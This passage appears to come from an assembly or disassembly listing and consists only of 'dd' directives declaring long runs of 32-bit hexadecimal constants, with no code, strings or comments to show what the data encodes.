6D0022E6h, 1D3FB138h, 4C4F98h dd 1CD0F5F1h, 9E181B8Ah, 0A5943201h, 0B4B04BFFh, 91F82025h dd 0D5B90CC0h, 0DA7131B6h, 2CE85B03h, 0ECE4C9Eh, 0E2686228h dd 2D534A81h, 0BCB5071Fh, 21141862h, 9001A59Bh, 0D89ED068h dd 0FCE33124h, 0C4A1ED5Fh, 34542C01h, 163522D2h, 0C5150103h dd 8FA4048h, 0A21C5B25h, 0B6D20CFAh, 3101591Dh, 330CDD4h dd 0F0798CD6h, 3057315Dh, 0C5283169h, 2403B901h, 13EF30FEh dd 5207320h, 56DED695h, 61D0081Dh, 413139C4h, 1B5F1835h dd 31EB1F98h, 0B97A56DBh, 2A0DE818h, 0A5C4E68h, 33F43260h dd 0F11E98A4h, 31049D74h, 141D403Fh, 6458D641h, 2318669h dd 2818D507h, 554C0C16h, 840158A0h, 631047A5h, 248ABB0h dd 84E82A18h, 6DAC0E06h, 1830DF71h, 18203603h, 4CA05ECEh dd 58A1E99Fh, 1FE843E7h, 50E29104h, 28845234h, 6014845Fh dd 8FC21A4h, 4956599Fh, 0B8B6743Fh, 9085FDFAh, 22928489h dd 881E212Bh, 0AEC124B4h, 2842936Dh, 0AAC215AAh, 6AE224DDh dd 0A2BEE010h, 237A10C0h, 4AA4E287h, 3208E514h, 0F5DC428Dh dd 239C4214h, 5468504Ah, 88CD1085h, 0FC21D482h, 21B444BDh dd 0C40F219Ah, 0B96759BCh, 32E35011h, 3B97196Ch, 60326721h dd 65B4C10h, 0D4EDBA65h, 3D560D79h, 0A8614D01h, 0B0508440h dd 7A06B610h, 39F53C8h, 4C0C8458h, 0DD3C7CE4h, 91C63B40h dd 44706138h, 10CE1D45h, 0A1211953h, 6AA48C35h, 2CC861D0h dd 0EC74429Dh, 33F03483h, 96A3937h, 0D6DC47C0h, 11456FA5h dd 64BD26C2h, 5901A091h, 80F04D98h, 9E5FC241h, 4041580Eh dd 57001947h, 5C0AE2FAh, 0F0EC0FA3h, 8AD8C0FCh, 87ACD478h dd 0B9EE9300h, 7DDA73AAh, 1621F0A6h, 6FA5DFh, 0D70391B4h dd 5B03B2B0h, 0E8557DC6h, 5E75E0F0h, 900F3AA7h, 0B81A516h dd 180EE0ECh, 740C019Fh, 8BB4D864h, 1AFAB40h, 79E1CCC8h dd 40094471h, 3CB44860h, 1900737Dh, 0A6D6931Bh, 4CF16491h dd 0DF3A2330h, 7DD6947Fh, 74E2C11Ch, 0E800D772h, 0AA2EABE0h dd 78140462h, 9514CB60h, 0D17242FCh, 0EFB44855h, 1574B865h dd 18E6A7B1h, 0B430AB92h, 0A15A0ACh, 0D64BA6ECh, 0F0AAE62Ch dd 1661C480h, 6B05ACB8h, 778FECBFh, 0ADE83830h, 6C6A02B6h dd 74ABA6FAh, 5D88C0E1h, 5A401C14h, 0D6C8F05h, 0B4C363B6h dd 0BF41FF80h, 0F845A6ABh, 0E55ED480h, 55AC96EEh, 0CAFE00D4h dd 0EE91870Fh, 973E8A10h, 5E5000F5h, 61ADAFBFh, 797D26A7h dd 12B61234h, 1E005DDCh, 3511ED6h, 6AA6BD23h, 5D9880C4h dd 720FB3D2h, 847EADA4h, 40C1A55Bh, 2880BF61h, 88AF16E6h dd 2099A863h, 6C486C28h, 5A7D0EE8h, 8AA789D4h, 67617428h dd 91930B9Eh, 0AB2CCB23h, 8056EFC4h, 62ABAC30h, 120D033Ah dd 2DBBC072h, 345850A8h, 811DD173h, 0EC026FB2h, 60BD973Bh dd 78D463D0h, 0C05C18E6h, 0ADD040A7h, 312C098h, 0EAE7CAEh dd 0A48EAC60h, 12838Fh, 0C33C1E8Ch, 5D0B797Eh, 1A781CDh dd 75C0B970h, 0C6A6E9D3h, 77D00061h, 0A7AE3CD8h, 6082D518h dd 0AC9081D3h, 5B0458DFh, 0C6AE7DCCh, 0C60E40E8h, 8CC1ABAAh dd 78C8C8C2h, 0E4DA95D4h, 5C75A725h, 5DA04CA4h, 0E0ECD64Ah dd 0F84AFDFBh, 6FA43C73h, 0C0D4FA2Eh, 72ACB40Dh, 81600359h dd 740501B8h, 0D170D4E1h, 0B8D1495Fh, 0C03CBED2h, 1D1C98DBh dd 0AED279h, 0AA7DD372h, 0B17CBFC6h, 0ABCD8805h, 7C846EC0h dd 6A80DCABh, 1C6BE85Fh, 86EF05FAh, 0C490C671h, 0B083ACF4h dd 0E47D59B4h, 0D876FAC4h, 98B0800Ch, 90AAA616h, 9E7DDC0Eh dd 7716BF1Dh, 20AFE00Dh, 985EC434h, 9746208h, 0C4C275A6h dd 0DC98E494h, 0C0B2AFFCh, 7018481Eh, 133820AEh, 100CADCDh dd 78D569D4h, 0CF6E3AABh, 4220A72Eh, 2C96D677h, 65F83C90h dd 69AFD43Dh, 603403D8h, 0C6F83DD2h, 7879AB07h, 0DB0CCA4h dd 0D70580C5h, 50801824h, 97E85BB3h, 40D71CB7h, 0ADB288B6h dd 0A3A50B2Dh, 0D1A3B884h, 4F0EE890h, 0BC187C10h, 4C209793h dd 0AA7DA38Fh, 503E625Ah, 3900F80h, 0C02CADDAh, 0AA05D872h dd 64C3CF96h, 837DA05Bh, 0D940AA71h, 50D0B8F8h, 8B190003h dd 0A5DD01FDh, 20B8D264h, 0FCDB5A25h, 0AC7D8900h, 647744E0h dd 0AAABD813h, 0B4C53CC8h, 8A1440D4h, 710BAED6h, 8781A572h dd 9157CD80h, 80FBA787h dd 76B9D88Ch, 3990B85Ch, 7CF49854h, 50C08270h, 7D6082A4h dd 0A7609021h, 73753AB0h, 0D2AB8113h, 0C85B7150h, 0AAECE606h dd 0DFF61968h, 42B97858h, 3497D180h, 0ECB0E064h, 0E850BEA7h dd 973B5F34h, 90DC61ABh, 0AAB914FBh, 3401F072h, 3BE1F1A8h dd 0ABB0E094h, 0B3036406h, 7A215D7Ch, 0A6AE1274h, 4B94F273h dd 906EF8ECh, 23E0C8F6h, 6FAB0B0Ah, 106A38CDh, 3FE9F5Fh dd 0F662A6B9h, 0D860E80Dh, 607C287Fh, 90B0F874h, 0B2DC801Ch dd 0CED8776Eh, 0C0E7D620h, 417F2764h, 38ACD25Bh, 0CAE05DB8h dd 0DF87C45Ah, 8CCA743Bh, 3067E99Eh, 3E7D84F8h, 8B0CD772h dd 6388D25Eh, 61DCD650h, 0AADF030Ah, 0BC3CD878h, 7FE0075Ah dd 8399C677h, 0C00A0104h, 5AFC071h, 45379C91h, 0AEB00A76h dd 7CFA80F0h, 54ABD572h, 0EC66DCBEh, 0FACC1A28h, 0C8291891h dd 58788877h, 1E89DCA9h, 5606B14h, 9AADB030h, 4D4A201h dd 0A6D37874h, 9AC04482h, 276453F4h, 84ADF0A4h, 8830E020h dd 7C1F14F8h, 750FA75Eh, 7405025Ch, 0AAF08173h, 1828236Fh dd 9E1CEABFh, 5C58012h, 9C1D403Ch, 1E904F00h, 5AD7D0F5h dd 25F02285h, 79B8013Dh, 370C0EE6h, 8DEA2D3h, 0DF21C004h dd 5D35D610h, 0BB2533ECh, 0F0E45Fh, 5C6D0BE0h, 0B637DD02h dd 0A657FA00h, 3FC8BD95h, 641B011Dh, 0D0E99F38h, 0E731C009h dd 8B51D500h, 0EC9AB903h, 5089C0A8h, 0EE65B5B4h, 0C9C53304h dd 80EA90CCh, 8CB7753Ch, 0C85C5327h, 0AA75A08h, 0F30FF23Dh dd 91DB7020h, 7EA5088Ch, 0A8011C09h, 1F5A0114h, 89FA9850h dd 0A1BD0013h, 0D925B2C0h, 52E8B470h, 40E421CEh, 84ECEE13h dd 0A11606A7h, 0D01E53B1h, 50635632h, 138D3005h, 20A1C908h dd 404E64B4h, 9D1385E0h, 29F101DAh, 0BB879A9Eh, 2797C849h dd 0D4BC9828h, 1DAD2100h, 583B5C4Eh, 3E710025h, 9AB57ECh dd 44787B03h, 0D3EA807Eh, 0D5ED100h, 2F387A1Ah, 0C79414A1h dd 55881C39h, 7B3A903Fh, 1319CE00h, 3D712630h, 0E49F0C03h dd 0C02931B7h, 18CC7A18h, 40517339h, 0B3C7CB0h, 0DE71E153h dd 30838797h, 0BF7EE6B8h, 21460930h, 878FFEh, 0D5551DD8h dd 0CDC9D1EEh, 48589D61h, 0C0807742h, 4D25CBF7h, 10C13B5Dh dd 5029838Fh, 1579FB00h, 411DDC1Fh, 0C485AB42h, 8849739h dd 23D40C88h, 0F0322FE1h, 87913011h, 0E8B7DA11h, 37FE284h dd 0E88789F4h, 396E3A7Dh, 6C004F6Ah, 7A030EF3h, 0C8C0E219h dd 2D3CD1E5h, 0CDB1C06Fh, 0D67240Ah, 0AF312500h, 87A5B9DBh dd 930500D4h, 6475E650h, 17103CCCh, 5E003B86h, 8F80FBAAh dd 0B633AF98h, 0E457E06Bh, 0FE4DE940h, 53507983h, 0B70080A4h dd 0CF8B0E6Fh, 0D47C663Ch, 0C13E7F49h, 7A411881h, 58129389h dd 72806D1Ch, 0E8B1C97Ch, 506A7503h, 0E7977FB0h, 3AA60605h dd 2C0016E0h, 0A33F9E60h, 90AF3F05h, 9F06FD0Eh, 0B921518Ch dd 0C6001173h, 0A5A925E8h, 30CF9BD3h, 5E85795h, 80804028h dd 0D9DA0058h, 371913A8h, 9E48F129h, 0DB981420h, 7CAC03A4h dd 7B47280Fh, 79E30331h, 0DAA8CD95h, 8CB0BAD1h, 207ADC08h dd 79AB00FAh, 0F6A4D1A7h, 1E244D19h, 47F63482h, 0F4141FA3h dd 0DFFD09h, 45A09FD8h, 0BC9650CFh, 0F13112D1h, 6AC5E7Ah dd 0B94B044Dh, 59772237h, 7CA1AC50h, 1A0B3FE1h, 0D4052F0Ah dd 0A54356F0h, 6430C10h, 0EFD9C205h, 72DC80D8h, 0F8C28C74h dd 1E4671h, 0AE0B57AAh, 258820A7h, 8504CE6Bh, 1594820Bh dd 84209531h, 948849B7h, 0F8214B8Ch, 69878D01h, 2ACFA670h dd 3941E447h, 0E0805F4Bh, 0D6493294h, 0D28F974h, 143E9875h dd 33FD00ACh, 0A29EFEF6h, 0B59D00ECh, 0BF7DD25Dh, 61E47B6Bh dd 4FBCE150h, 0A86AC92Ah, 0C8E9DB06h, 0C489BD5h, 5A0737E2h dd 10C9F68h, 0E0E749C2h, 893E0CD5h, 9B397F22h, 9900A373h dd 4758B2F5h, 0E85BFAFCh, 0B021C7A4h, 0FE41300Bh, 4B73E6CDh dd 480D3D24h, 86527674h, 5B0DB201h, 0F51B6F21h, 0A04C0260h dd 1C136ECh, 8155DF95h, 9285F7F1h, 0B80805B8h, 3712C7ACh dd 9F0FD207h, 0BD115319h, 0C534CC15h, 1E612600h, 9677E178h dd 507FF886h, 480DF4CEh, 7A290451h, 0AD68B2A4h, 113F9D30h dd 881705A0h, 14BE8E54h, 0EEC83360h, 0F00BB2Ch, 5735DE5h dd 0C24E9D7Ah, 240F660h, 0CBC1BC9Bh, 0F001FB79h, 0BB958A7Fh dd 80B1DDD1h, 461998h, 4081D374h, 0C1193AE5h, 0BE1850B5h dd 1D0C20h, 0E2A49BF5h, 0CC30CECAh, 2A3D5605h, 389190E9h dd 0F84A893Ah, 0A1128B23h, 0A2F5D905h, 2398F862h, 289E09BEh dd 0DB579D00h, 68B797C9h, 30D970D0h, 386895D2h, 3D00BF2Ch dd 8CE7AA83h, 507BF1CDh, 2A4DDC56h, 12FC4F08h, 4234FE48h dd 0C529B788h, 323F6C68h, 92BB77h, 2328C448h, 79D7010Bh dd 18C8CD91h, 67A40DFh, 0F079E018h, 567C70Ah, 2C2BD007h dd 21B4819Ah, 0CF70073Ah, 99259F5Ah, 77790040h, 68F84892h dd 0E561800h, 0A8CB639Ah, 0C04736Dh, 1620982Dh, 48C0990h dd 0CD9379E5h, 5363D8h, 79AE0421h, 4F7661B4h, 0CC2DF624h dd 0C739FC43h, 0DD138FB0h, 78DC0087h, 743FE837h, 8920717Fh dd 934072D4h, 0B46A0B18h, 0D2058410h, 18DDA130h, 1D8D8E7Ah dd 0A833E9CFh, 0C254A0B8h, 1E442A85h, 398A46F8h, 0F598889Ch dd 47A0C4AAh, 8E3004B1h, 5D0137C2h, 0C4565CA6h, 0C44EF406h dd 8407317Dh, 59414896h, 89EF9C73h, 288F7917h, 0A06CD0D7h dd 549B9A40h, 3848CF94h, 0C90C81D1h, 24B633F1h, 88451824h dd 30987ACCh, 3FFE4B12h, 262B1C43h, 8210041h, 4748F8EFh dd 12ABBF4h, 0C505F44Bh, 80240956h, 0CF55C4Fh, 53955h dd 736FC548h, 9C6509C1h, 1EE84C03h, 0A918BED8h, 2AD0D2F6h dd 0B7F5044Bh, 90684201h, 59F34174h, 37036C92h, 21BBE98Ch dd 0E4D850FDh, 0D4BA526Bh, 0D5C1AD04h, 9A018F0h, 113099EAh dd 3F9980E1h, 43B7059Ch, 39562290h, 0A88010BAh, 62FE36CAh dd 3048EAACh, 2DC7C298h, 42A8A068h, 0AACFC3h, 4A1529A0h dd 955E7BFBh, 2D637D0Ch, 1FA880E7h, 8C8E4137h, 7B39F44Bh dd 0AD041C9Bh, 78980E7Ch, 947908E2h, 51C4B0CDh, 79AAFB40h dd 1317DC9Bh, 6420FD4Dh, 51CB21CCh, 0A4019848h, 0CE029EE2h dd 10C1F89Ah, 2CB048C5h, 40039416h, 4A610804h, 55A40412h dd 7C310A3Ah, 0CC08F792h, 79E4C008h, 0E052CD92h, 0AD058054h dd 69E1879h, 95C8D917h, 222A7899h, 6F048471h, 33C2F89h dd 861BB0C0h, 67A40E6Bh, 70B9C514h, 0BD91805h, 0F8CD9F79h dd 40E1741Ch, 0F3260B9Ch, 77B1B812h, 56818406h, 0CA030BC0h dd 34AAE391h, 11106A24h, 62138EABh, 0C7070506h, 0AC00E40h dd 0E0A03560h, 8D3E497Eh, 4890242Ch, 82736589h, 363D7C8h dd 0A0D817BFh, 9093B007h, 497A0284h, 24D31CD0h, 0F1E20C73h dd 3F694D17h, 294F5900h, 2CE8B186h, 8BAF0083h, 9D8AB972h dd 60997EDCh, 8E113CA4h, 9C61A08Eh, 0C5C0AF5h, 8BD88A2h dd 9F07D3E6h, 0F07BDC02h, 0E9BE7E11h, 0B8728C5Dh, 0A3055B2h dd 0D1E10049h, 21C24B8Eh, 3C90AFDBh, 9A052C90h, 45C9D3F5h dd 0A0201099h, 425242BDh, 30A7A264h, 0DF012795h, 59BB9BF6h dd 0D826FB12h, 4ABA097Ah, 384024EAh, 0B1021380h, 5D4F53DDh dd 0CAB6E09Dh, 8304ACCh, 0D02B4D10h, 8720AC28h, 0F9D32C56h dd 391930A5h, 31CB7D2Fh, 115C1D0Dh, 881D8050h, 0E8FCC0C6h dd 1FBF02CBh, 0A1ED3319h dd 100F2441h, 0F549C937h, 0FB801062h, 0E131CA04h, 0D3040490h dd 0EAB4A597h, 45F2A4E2h, 60F8F033h, 120B38Eh, 4755D203h dd 629C271Eh, 0C4D85118h, 7DA6018Ch, 0C204FF64h, 74203471h dd 0EC696314h, 0DF291018h, 0BC8B2C49h, 6813A807h, 2E989600h dd 1283664Eh, 9D45DDD6h, 8D184118h, 80E422DBh, 0E935BAA0h dd 0DD812405h, 72468038h, 0BE9488EAh, 0DC0B1A01h, 9F21F9B7h dd 5937E052h, 80048000h, 10CE796h, 3AA27E09h, 988030E2h dd 59D113Fh, 934988BFh, 11C12C7h, 0CF1FF76Eh, 8224225Fh dd 0C4B86B9Bh, 0C2031158h, 2CDC2411h, 0C7759BC3h, 65C8A0C9h dd 814F7D7Eh, 0EDD882DCh, 684BBB3Fh, 589DF9F4h, 56F82476h dd 686D008Ch, 406383FCh, 48F83B50h, 7D2BFF1Ah, 142484A8h dd 0E7879260h, 24AC9EB0h, 57FE020h, 24878AF9h, 52368059h dd 0A00F4482h, 33582DFDh, 6981300Dh, 49BC3028h, 3909138Ch dd 6DB4029Ah, 7052FC4Bh, 0F53CBF00h, 0A5A9AF9Ch, 0B4CD536Bh dd 0D8357A08h, 4F17AB06h, 14FF0019h, 0C57E61C3h, 0EA0084E6h dd 0F723059Eh, 493FD4F2h, 2511E869h, 6D7004Eh, 0C99B4BFDh dd 5B60992h, 50825E44h, 9CC03ED6h, 0A8834C1Dh, 825039CBh dd 4B793C60h, 4C0918D6h, 2880A3E5h, 60590049h, 302DE176h dd 0B3005F21h, 0A23C2B7Eh, 87FB0Ch, 3DD69DB0h, 0F18D7A04h dd 837CC8C1h, 488340C1h, 3F15717Fh, 0D06A6014h, 83FD007Ch dd 0DEE630F4h, 0C7CB5179h, 0CD4F3084h, 76A0D372h, 8053C9E1h dd 77FD7BA9h, 7624A923h, 9F33064Ch, 4CF8A457h, 0B4D8E524h dd 75B68000h, 484131B9h, 7A3CA3h, 179047CFh, 95347EF6h dd 0C2607360h, 0B0ADA3F1h, 0D1D30B00h, 984D0E3Ch, 20435391h dd 650B2D84h, 5D7F8404h, 19510A4h, 0CF74D1D2h, 5087173Ch dd 80BDD984h, 36F102E6h, 3DC70F3Ch, 0E6AD0595h, 8385D4D1h dd 88A28944h, 30B457F3h, 16E9CD1Dh, 2924AB03h, 5B7FF020h dd 0D1D82985h, 0C491852h, 824A99CAh, 0F0948E2Eh, 9627AE60h dd 26F6000Ah, 51AAC202h, 0D1014119h, 33355C7Dh, 486CCC3Eh dd 49E8F04Ch, 0C621018Ch, 563F412h, 659C40F5h, 0EC9A85CEh dd 926BE832h, 64ACE750h, 23406757h, 0B8046F05h, 264505A8h dd 0CC40D0h, 1B76089Ch, 3300BA7Ah, 77BBEA5Dh, 9046F4B9h dd 6CF94C00h, 7584CC83h, 0B47724C1h, 6C80F130h, 5A72642h dd 4FBD65C5h, 57E082C4h, 0C6823E07h, 4A4AB40h, 9D639744h dd 0C2F50612h, 0B21CE4CBh, 5A68C505h, 50982016h, 76000B2Ah dd 0FFF5E4E6h, 0D145ABh, 5BBE8B68h, 903475A6h, 9602E801h dd 0BA0137E6h, 986E9028h, 22268484h, 189019D4h, 0C846F706h dd 0A64C8990h, 0CC0EBB11h, 6E09B52Ch, 0D5DFE5h, 334BBA26h dd 9C5624ACh, 6ACD08E4h, 0AA547EBAh, 0C1264798h, 0A0A25C65h dd 706E3B4Eh, 4D258B05h, 0A12400FBh, 57E588FDh, 13D2D112h dd 0C004B808h, 0CD9E79D8h, 40DD18E1h, 0E100017Ah, 74AD2679h dd 1D46C614h, 313C2407h, 40A9C0h, 126D8DFDh, 1E9DB3EAh dd 184812F4h, 3E45D8FCh, 0D1E21E8Ch, 849A14C9h, 8889D2Ch dd 0F04443B4h, 5A2788E4h, 0B20C2147h, 32C6D542h, 2FFC07A8h dd 80092B0Ah, 1AE7C028h, 0F44B2C1Ch, 59684C54h, 7077A54Eh dd 7F8531C1h, 0BEC2D82Dh, 0F448F745h, 0D18970C3h, 2C4EE8CCh dd 0A8D43AD3h, 48474480h, 20B27F6h, 48DD795Ah, 8346A180h dd 9282980h, 6A14A002h, 6098737Dh, 2EA50F9Ch, 747C8E7Bh dd 0A20F5646h, 84404BC9h, 9EDC899Dh, 3D766317h, 18FC5C40h dd 30A1F5Dh, 39CF9D0Dh, 0F80378D3h, 4DBA8C9Fh, 0F1C9A813h dd 18606043h, 0A665F93Fh, 8C0B88A0h, 8061CB2Fh, 56C201E0h dd 6C9834h, 81B4CE3Ah, 72050ED4h, 2537D925h, 0C1843154h dd 123E50E0h, 80A2459h, 7C78D60h, 12F59D30h, 50C8B45Ch dd 63E60FBCh, 2060EB00h, 715332ADh, 0D1B0046Bh, 49991201h dd 7DF86821h, 7FC100B5h, 6886FBA0h, 0A9F8FD94h, 3AA31F05h dd 0AC4EBED3h, 1D56B0h, 1F57D3Ch, 5C53E9BBh, 5A219290h dd 12F4B000h, 0D81B7289h, 0A702F500h, 476FDAC3h, 65284A3Bh dd 2C380D34h, 93384168h, 40002A86h, 0D3F6100Dh, 5800BADDh dd 73B6096h, 0F40340E7h, 82B884F3h, 88A1D094h, 7CB9CBF4h dd 2A3C583Ch, 4C91C429h, 8118A2D1h, 8A06D97Eh, 870737EDh dd 0CA3D2578h, 4682Bh, 0EF74A06Bh, 9929C810h, 56A12212h dd 0C8B08BC8h, 7B9FC06Fh, 4494416Bh, 795E8502h, 2E6458F2h dd 921095CBh, 23842FA6h, 0BD6E0055h, 0F81D9DB7h, 0DD450A00h dd 798B342h, 80409C28h, 0F16EB7FAh, 0A6F23844h, 8D53C504h dd 24A09B88h, 0F3992772h, 0CA03EC20h, 909C3B45h, 41C74F88h dd 31292CFBh, 0BCF828A0h, 247F43E2h, 9005701h, 0BBA0C0F6h dd 2248CB6Bh, 1AA77048h, 0F007FF75h, 2C15A4B3h, 2854453h dd 3323FDA8h, 0C440E719h, 5C24ED28h, 95123CE0h, 21CC5441h dd 0D7014CDFh, 2470F1F8h, 526054E8h, 89ADA6A9h, 90A50304h dd 5B77C8CEh, 44070C2h, 22819615h, 2800E86Dh, 5889216Eh dd 0B80075B2h, 917A20FDh, 4DFADA77h, 2D108432h, 1FE4047Dh dd 888852BBh, 1A392D09h, 0EFD4018h, 116A6916h, 893A7CC1h dd 6FC8030h, 0EEFFF925h, 4C9C1099h, 266F465Eh, 4514B015h dd 0FC4D13D0h, 0F7A1D020h, 7E83148Dh, 3AD6ECBDh, 14C2398h dd 5CE662Ah, 28244934h, 8C57ACACh, 7D960809h, 9064F7h dd 0FFB1BBFEh, 90889861h, 0FBA51402h, 4158F6F0h, 0B8722800h dd 6FD9E207h, 0FD7DD0F3h, 0E4004A26h, 77173A5Ah, 2715231h dd 4B2A0F53h, 84C438E9h, 789B0C26h, 2400D08h, 5FF04DA0h dd 1CBD8AEh, 0F1CCD010h, 18798B2Ch, 0E444454Bh, 0CE173057h dd 69750009h, 3CEDBA2Ah, 0E73DD81Ah, 2A68354h, 0B8327F8Ah dd 260522B3h, 6423Dh, 3E43938Fh, 6D3D3369h, 1060FDC4h dd 0A9CCAF39h, 0A4DC006Ch, 299E53D7h, 0E013613h, 95DF7589h dd 1085F955h, 8053E05Bh, 8548481h, 7751D83Ah, 11EBC030h dd 3DCBB107h, 2C067135h, 89868DCh, 4021FD6Fh, 0AD8ACBA9h dd 8D961F1Ch, 0DDED01C1h, 800CDEF6h, 72926E91h, 7895C34h dd 5D95ADF4h, 91280DCEh, 0AC805870h, 987130CBh, 2702448Ch dd 2FCBA41Ch, 951D9FD3h, 634A4980h, 7FED4B9h, 6F24E798h dd 0F13791h, 8BEE843h, 57D02918h, 74E740h, 0DD419B61h dd 0D5EBFC54h, 71084C66h, 59950021h, 25AF1C9Bh, 61002E3Eh dd 28A17585h, 0A0E427BFh, 82EBDDA8h, 23DC000h, 0D90170DCh dd 59CCDED5h, 3CF5D872h, 0E288048h, 91B3AB37h, 895886DEh dd 2260081Ch, 0AB2F4F21h, 9901009Ah, 61156E27h, 0E23BD54Eh dd 42C0600Bh, 6FF0A9E8h, 0F80030DBh, 61661744h, 0C1978EEh dd 0F5082C59h, 3D1D2187h, 0CCB7F017h, 0EE003967h, 2C4033C8h dd 0C6CDD975h, 31E8F1A9h, 0B4664E00h, 3ABFC73Fh, 790F4F7h dd 4A458E75h, 5228E23Bh, 4E40C45h, 0B3C2E760h, 82B4BB00h dd 3370F50Fh, 998900BAh, 0DC72E336h, 96004971h, 0EA77355Dh dd 2B68DDh, 9565C43Eh, 0EDA56358h, 418C3448h, 8D7DE084h dd 0DF103861h, 0F04E42D8h, 0CAC06BC8h, 28F44334h, 46D85551h dd 0AB300237h, 331C91ACh, 284840BCh, 120778ABh, 75AB58Eh dd 42E9E664h, 47C9FBh, 47602564h, 437C3608h, 39813E01h dd 0D95933F4h, 0ACA4D60h, 0E4886362h, 7698B9D8h, 8D85D15Ah dd 48F17124h, 6F63C106h dd 0DF4D0018h, 0DDA86403h, 1449618Dh, 84A526F8h, 5416A020h dd 311FE17Dh, 8B8F018h, 0A401004Ch, 0CA8635Bh, 70C1DFDBh dd 85455D91h, 0F174D040h, 208B4802h, 0E543D650h, 60ED95DCh dd 0C8E7206Ch, 3B53281Fh, 8751DC20h, 9959382h, 0DF0BF621h dd 46EC80A0h, 9B62022Ah, 475CDD42h, 5A9601DCh, 0E4AD179Bh dd 89001D21h, 370EA151h, 2BA596Fh, 6D9F24CEh, 8086090Dh dd 0DF163955h, 9B1E40D6h, 943FA69Eh, 4888E992h, 8DD51854h dd 0F924E698h, 5490DCE3h, 0F8E4284Fh, 0BE5313A7h, 65A84161h dd 0BE42416Dh, 78D93E60h, 100CBD30h, 0C4E8DE1h, 280E38E3h dd 0FE403668h, 61CEB807h, 14F25884h, 2C8E207Dh, 11248C90h dd 3706305Fh, 0FE60DC53h, 3BD7A13h, 0F1108BBAh, 0D81112C9h dd 4922EA9h, 4F41954h, 0CC91E6FDh, 4BE04C6Ah, 8E1B0CF2h dd 0D920FF8Dh, 0A842E741h, 0F2346CA7h, 61641117h, 83F38844h dd 45173B1Bh, 22BC2A00h, 0F21D3E98h, 8021DDEAh, 0E991B6AFh dd 0D5006E66h, 0FF521EABh, 3873F981h, 903AA79h, 8CA5580Fh dd 540CD8A6h, 0B1F35D17h, 94664DD0h, 0D9115C4Ch, 78A52818h dd 80AF31C8h, 61F40447h, 2165F97Dh, 0E405B520h, 0A4005BEAh dd 0C3CAD54Dh, 80A44C41h, 4BB823C0h, 0A871809Eh, 19870200h dd 7085DD7Fh, 428D0571h, 12F7DEE9h, 86601C90h, 0A072900Ah dd 29B86754h, 16E6EB00h, 79694A32h, 218E895h, 4BFFE284h dd 14C2F707h, 0EECD1440h, 69631780h, 2082B9E8h, 3911DF34h dd 0AB083218h, 0C42C91AEh, 2A4A4024h, 7AA1ABh, 0F1DBF939h dd 91C3B3C1h, 76E99512h, 68D02C06h, 8FD13CA9h, 4044181Dh dd 8EA8E459h, 9500F0D2h, 82D51B23h, 0D832FBh, 0A6E807BEh dd 148E0852h, 0E172A0A8h, 5CF94924h, 86C8542h, 0D3FA1CACh dd 6D380E08h, 91585010h, 0EBA70340h, 0D0548F20h, 8809C030h dd 5402779Eh, 9D09FED1h, 84F41174h, 8480F98Dh, 24F3D599h dd 0DBC36D9h, 2078041Bh, 48C2824h, 0DD409B60h, 2068624Ch dd 769B5894h, 61C57D0Ch, 0DC8D98F8h, 5D22D2F8h, 0E56C84E0h dd 0A4308211h, 814D7060h, 2BC4082h, 409D51D8h, 7C5A5E9h dd 7DD74882h, 0F4EB3929h, 0E88A40C4h, 0DA54D51h, 2019A4E3h dd 5DF80020h, 8C9A6809h, 61D41302h, 641BE1A5h, 60904528h dd 0DD1C4544h, 6A421184h, 0C059CA05h, 2A31A225h, 648D7E8h dd 0C16D93ABh, 4050585Ch, 1842ADC0h, 3F17A423h, 2C53241Ch dd 180038h, 0D8D01738h, 332E85AAh, 0C03D5F2Eh, 0C0709B0Ch dd 824F51C3h, 48855520h, 107F1CE5h, 46A1975h, 0D39FD974h dd 95337C80h, 18636069h, 35C5DF37h, 298FD6Bh, 91E3104h dd 0F99FB806h, 0C4A6B0C8h, 61AB8141h, 0EE58483Ch, 0C3A1A88h dd 0FBB14017h, 4FDE160h, 2756A8C2h, 0C0D4CA05h, 71D1C763h dd 0A9DBD935h, 0C038D008h, 91ADAB31h, 49802443h, 0E7DAB29h dd 13124F01h, 2C01E81Bh, 0B074033h, 0E0A6A272h, 60E5D75Bh dd 0CC919501h, 0E29CE4CDh, 40597C70h, 930AAD1Dh, 0A060B965h dd 58429244h, 2868F5C1h, 0EE03049Ch, 45F602F2h, 9D42986Bh dd 0A01756ABh, 123B1C50h, 65DFDEA6h, 11A00504h, 95B4D11Fh dd 0C84DE79h, 0DAAC8D2Bh, 169B6330h, 3864DD43h, 5B0097D0h dd 0ED75E19Bh, 7BDE3809h, 121A06F5h, 0B9FCC160h, 46B9C601h dd 85F82AD5h, 1C0C3D4h, 30B802F6h, 0F0A9608Ah, 41625D72h dd 64015598h, 0B4F94434h, 0FB8A6801h, 75E76A49h, 63159472h dd 3C78C892h, 93243839h, 0A6E44F1Ch, 0AF74C123h, 234C2D4Fh dd 0CBB3015Fh, 0ED07137h, 0CBAB2E00h, 0D5CAC081h, 0F50CF09h dd 0F95C0223h, 0E5B02810h, 310CCC1Dh, 0FA30518Bh, 13A43081h dd 75703D95h, 55D0ED40h, 0D0006F4h, 0E97F1978h, 3BF80848h dd 13D160F1h, 2C1EA1h, 0B83862D9h, 0A69A90DDh, 51937B04h dd 68820636h, 0B90500D3h, 0C5003114h, 27F2807Eh, 3F68858Dh dd 8100E4FBh, 4F4DADDAh, 897D5075h, 0E27D10E4h, 0C7B5FF19h dd 51C06A27h, 0C30370E8h, 0C3592002h, 51758992h, 2119988Ah dd 0C3005141h, 5ACC3149h, 90891B33h, 5B116EFEh, 0C30D5C6h dd 0CEB70F19h, 6D87CF78h, 1C2DB509h, 430681Eh, 0BD8B5201h dd 0C041D829h, 0F581FC5Fh, 278DC547h, 1E88F9C1h, 7631FD63h dd 50031481h, 0E52C623h, 8944C35Ah, 211D6254h, 0C8C35242h dd 33FC2F4h, 4E67022Dh, 0E13134B1h, 58872C56h, 86C28166h dd 2D60D8AAh, 85EC8AA5h, 69CC8C0h, 0FD952983h, 80200318h dd 0E50738BDh, 2D260CB7h, 20958B88h, 0E91B0B65h, 1161583h dd 5F28D966h, 800DE860h, 2489AF2Dh, 1DE0443h, 838B1488h dd 0D4FCE1F5h, 8DF058DFh, 4C014133h, 55BDF061h, 3A42EF26h dd 9D312134h, 0E92616EDh, 844D82DAh, 11A0285Eh, 0C35F8757h dd 477C8922h, 57470103h, 0F88656C3h, 7B5048F3h, 0F4ABFCCEh dd 0F2D2D203h, 14E980h, 0AAAD4F33h, 0ACAECF6Ch, 92FEBA00h dd 51CD8048h, 0C06015Ch, 0E9C127CCh, 313582F7h, 0A51C1DBDh dd 0A2361597h, 0BBD08BC0h, 